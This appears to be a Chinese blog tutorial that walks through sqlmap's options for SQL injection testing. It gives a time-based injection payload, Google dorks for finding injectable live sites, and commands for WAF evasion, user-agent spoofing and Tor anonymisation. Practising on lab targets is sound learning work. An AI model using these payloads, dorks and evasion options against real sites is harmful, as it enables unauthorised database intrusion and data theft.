最近停更了一段时间,主要是重新学习了一下sqlmap
sqlmap真的是sql注入最好的工具,不管是linux还是window环境,都是最好的
可能sqlmap是终端命令模式,用起来体验可能没有上面某些软件好,但功能很完善,还是好好学习一下吧
sql注入是个很老的漏洞,晚上对于这个的文章也很多.如果不了解的可以去看看手动注入的原理,不过学之前最好有一种数据库的使用基础,这样可能更好理解
虽然sql注入是个很老的漏洞,可能很多人认为现在人们不会犯这个错误了,但还是有很多地方还是有sql注入点,怎么寻找就要看你的google使用啦
比如说昨天我从google上看的一个点
comments.php?id=
还是可以找到的
废话不多说,下面正式开始
sqlmap是kali里面自动集成的了,如果其他环境需要下载,可以直接去git上寻找项目
sqlmap一般是六种漏洞检测技术
基于bool,就是我们的and 1=1
基于错误
基于union联合查询
基于时间
' and (select * from (select(sleep(20)))a)--+
基于堆叠查询(一般比较少见,这对于环境有要求,有可能程序设计的原因导致堆叠查询无法正常进行)
基于内联查询
同时也支持很多的数据库管理系统(DBMS)
MySQL, Oracle, PostgreSQL, Microsoft SQL Server, Microsoft Access, IBM DB2, SQLite,
Firebird, Sybase , SAP MaxDB,等等
但一般都是结构化数据库,非结构化数据库也存在sql注入,但就要利用另一个注入工具了
学习的过程中,建议还是本地装个靶机,然后通过kali注入metasploitalbe2,
metasploitalbe2
提取码:u1l8
输入
sqlmap -h
sqlmap -hh
会看到更详细的内容
当然也比较推荐第二种方法
那么下面我们就从参数开始介绍啦
sqlmap参数是一类一类的,所以我们也按照类来进行介绍
-h
-hh
--version 版本号
-v VERBOSE Verbosity level: 0-6 (default 1)
--update 更新
不过这个-v参数后面可以跟数字,就是显示信息的详细程度,数字越大显示的信息越详细,默认是1
这个下面的参数最少,就从他开始介绍
-f --fingerprint 查询数据库的版本指纹
-f和–fingerprint都可以,只不过是简写和全写的区别
这个参数和后面的有个参数有点类似,我们可以比较一下他们的区别
-b, --banner 检索数据库管理系统的版本
-f查询的结果
[INFO] actively fingerprinting MySQL
[08:45:26] [INFO] executing MySQL comment injection fingerprint
back-end DBMS: active fingerprint: MySQL >= 5.0.38 and < 5.1.2
comment injection fingerprint: MySQL 5.0.51
-b查询的结果
[INFO] the back-end DBMS is MySQL
[08:47:15] [INFO] fetching banner
back-end DBMS: MySQL 5
[08:47:16] [INFO] fetching banner
可以看出-f的参数得到的结果远远比-b要详细,所以以后查询指纹可以不用-b了,就用-f即可
Get方法提交注入
-u --url= 目标url地址,一定是包含注入点的url
sqlmap -u "http://192.168.0.11234/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" //加双引号是为了更好识别,因为有的url地址太长里面可能有\#这些特殊字符,所以引起来也方便一些
sqlmap --url="http://192.168.0.113134/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#"
-l 从Burp或WebScarab代理日志文件解析目标
这里更多的是burp为例,比如说我们之后访问了很多站点,我们可以通过burp记载log,然后把burp的日志文件导入sqlmap进而解析日志里面出现的站点是否存在sql注入
打开burp,进入projetct-options,选择misc,找到logging,把proxy的request打勾并选择保存位置
然后我们可以让浏览器开启代理,然后在proxy里关闭拦截,这样我们访问的记录就会被保存在日志里面,这里以1.log为例
sqlmap -l 1.log
然后就可以扫描日志里面的所有网页
--scope= 正则表达式过滤目标, 可以过滤日志内容,通过正则表达式匹配扫描目标
sqlmap -l 1.log --scope="(www)\.target\.(com|net|org)“
这个就限定了扫描的范围,就是target.com,target.net,target.org
-m 扫描文本文件中给定的多个目标
sqlmap -m 1.txt
然后sqlmap就会自动识别里面的url然后并问你是否需要测试这个url
-g 将谷歌结果处理为目标url
如果可以科学上网,这个选项是个不错的选择,这个是比我们在浏览器手动输入,然后手动判断再拿来扫描更好的,不过如果不可以科学上网,那就…只能跟我一样手动爬,跟goole类似的就是bing,我们可以把google的语法直接放在bing里面搜,这对于不可以科学上网的朋友是个福音
sqlmap -g "inurl:\".php?id=\""
中间加两个"是为了转义,避免和一头一尾的"闭合,里面的语句也是比较经典的搜sql注入点的语句
-d 用于直接数据库连接的连接字符串
如果我们知道了对方的登录账号和密码,就可以通过-d的参数直接连接,也不需要再额外下个别的数据库组件了,其实这个就是通过直连的方式查询数据库的内容
sqlmap -d "mysql://USER:PASSWORD@DBMS_IP:DBMS_PORT/DATABASE_NAME"
sqlmap -d "mysql://USER:@DBMS_IP:DBMS_PORT/DATABASE_NAME" //密码为空的时候也要:
sqlmap -d "access://DATABASE_FILEPATH"
这样查询更快一些
通过post的方法
-r 从文件加载HTTP请求
这里还是要结合我们的burp
捕获到http请求之后,全选然后选择copy to file,保存为1.txt
sqlmap -r 1.txt
这些选项可用于指定如何连接到目标URL
修改request的头部
-A --user-agent 设置User-Agent的值
sqlmap -A "aaa"
sqlmap --user-agent="aaa"
因为sqlmap扫描的时候默认头是sqlmap/版本号,有的浏览器可能有拦截机制,所以我们可以修改头部为任意一个值,当然一般我们又记不住user-agent,所以我们可以通过
--random-agent 使用随机选择的User-Agent
sqlmap --random-agent
(/usr/share/sqlmap/data/txt/user-agents.txt下面列有具体的user-agents的信息)
为什么要修改头,因为有时候sqlmap会报错
[ERROR] the target URL responded with an unknown HTTP
status code, try to force the HTTP User-Agent header with option --useragent or --random-agent
这是浏览器的安全机制,所以需要我们伪造客户端请求
当然也可以把我们的sqlmap伪装成mobile
--mobile 通过HTTP用户代理头模拟智能手机
sqlmap --mobile
下面这三个不用多说
--host= HTTP主机报头
--referer= HTTP引用头
--method= 强制使用给定的HTTP方法(如PUT),具体什么时候使用post我也还不是很清楚,慢慢练
-H 附加头 这个只能添加一个
--headers= 多个附加头(比如说 "Accept-Language: fr\nETag: 123")中间需要用\n来进行换行
--data=DATA 通过POST发送的数据字符串
--param-del= 用于分割参数值的字符(例如&),有时候可能参数之间使用的有其他的分割符,这个时候就需要我们自己手动指定
sqlmap -u "http://1.1.1.1/a.php" --data="q=foo;id=1" --param-del=";"
身份认证部分
有时候web应用需要基于cookie的身份认证,那么就需要提供cookie信息
--cookie=COOKIE HTTP Cookie header value
sqlmap --cookie=""
有的cookie可能不标准,或者是专门这样设计,比如说
ID=176d4c35bcasdaasds9ce39b:T=159assaddd2358914
中间是通过:分割的,那么我们就需要利用cookie-del指定分割cookie的字符
sqlmap --cookie="ID=176d4c35bcasdaasds9ce39b:T=159assaddd2358914“ --cookie-del=":"
--load-cookies=L.. 包含Netscape / wget格式的cookie的文件(这个应该就是之前那种标准的cookie)
--drop-set-cookie 忽略响应中的Set-Cookie头(我也不是很清楚为什么要忽略这个)
--auth-type= HTTP身份验证类型(Basic(基本)、 Digest(摘要)、NTLM(Windows NT LAN Manager )或PKI(公钥基础设施))
--auth-cred= HTTP身份验证凭证(name:password)
--auth-file=AUTH.. HTTP认证PEM证书/私钥文件
就以basic(基于账号密码的来说)
sqlmap .... --auth-type=Basic --auth-cred="root:password"
或者是pem证书的
sqlmap ... --auth-file="ca.PEM"
*代理 *
比如说
sqlmap .... --proxy="http://127.0.0.1:8080" --proxy-cred="user:password"
当然也可以忽略代理
--ignore-proxy 忽略系统默认代理设置,这个主要是扫描本地网络目标
当然也可以从文件导入代理链
--proxy-file= 从文件加载代理列表
说到代理不得不提到tor
--tor 使用Tor匿名网络
--tor-port= 设置Tor代理端口以外的默认
--tor-type= 设置Tor代理类型(HTTP, SOCKS4或SOCKS5(默认))
--check-tor 检查Tor是否正确使用
保护机制
因为检测和盲注会产生大量的失败请求,所以可以通过以下参数避免session被销毁
--safe-freq= 访问安全URL之间的定期请求,每发送 --safe-freq次注入请求之后就访问安全的url地址
--safe-url= 测试期间访问安全的URL地址,一般是不存在注入的url,避免session被销毁
--safe-req= 从文件加载安全的HTTP请求,跟之前的-r因为差不多
--safe-post= 发送数据到一个安全的URL(只不过是使用post的方法)
这个的具体使用就是这样
sqlmap ... --safe-freq=4 --safe-url="http://target.com"
忽略
--ignore-code= 忽略(有问题的)HTTP错误代码(例如401)
--ignore-redirects 忽略重定向的尝试
--ignore-timeouts 忽略连接超时
杂项
--delay= 每个HTTP请求之间的延迟(秒)
--timeout= 超时连接之前等待的秒数(默认为30)
--retries= 连接超时重试(默认3)
--force-ssl 强制使用SSL/HTTPS,https站点
--skip-urlencode 跳过有效负载数据的URL编码 ,因为默认get方法会对传输内容进行编码,而有的网站不遵守编码标准,直接就使用原始字符
--eval= 在请求之前执行提供的Python代码 (e.g."import hashlib;id2=hashlib.md5(id).hexdigest()")每次请求都会对id编码
--chunked 使用HTTP分块传输编码(POST)请求
--hpp 使用HTTP参数污染方法HTTP parameter pollution,绕过WAF/IPS/IDS的有效方法,尤其对ASP/IIS和ASP.NET/IIS
--randomize= 随机改变给定参数的值,(长度,类型保持一致)
csrf
绕过CSRF检测,这一块我不是很了解,也就不详细说了
--csrf-token= 用于保存反csrf令牌的参数
--csrf-url= 提取反csrf令牌访问的URL地址
--csrf-method= 在反csrf令牌页面访问期间使用的HTTP方法(get,post)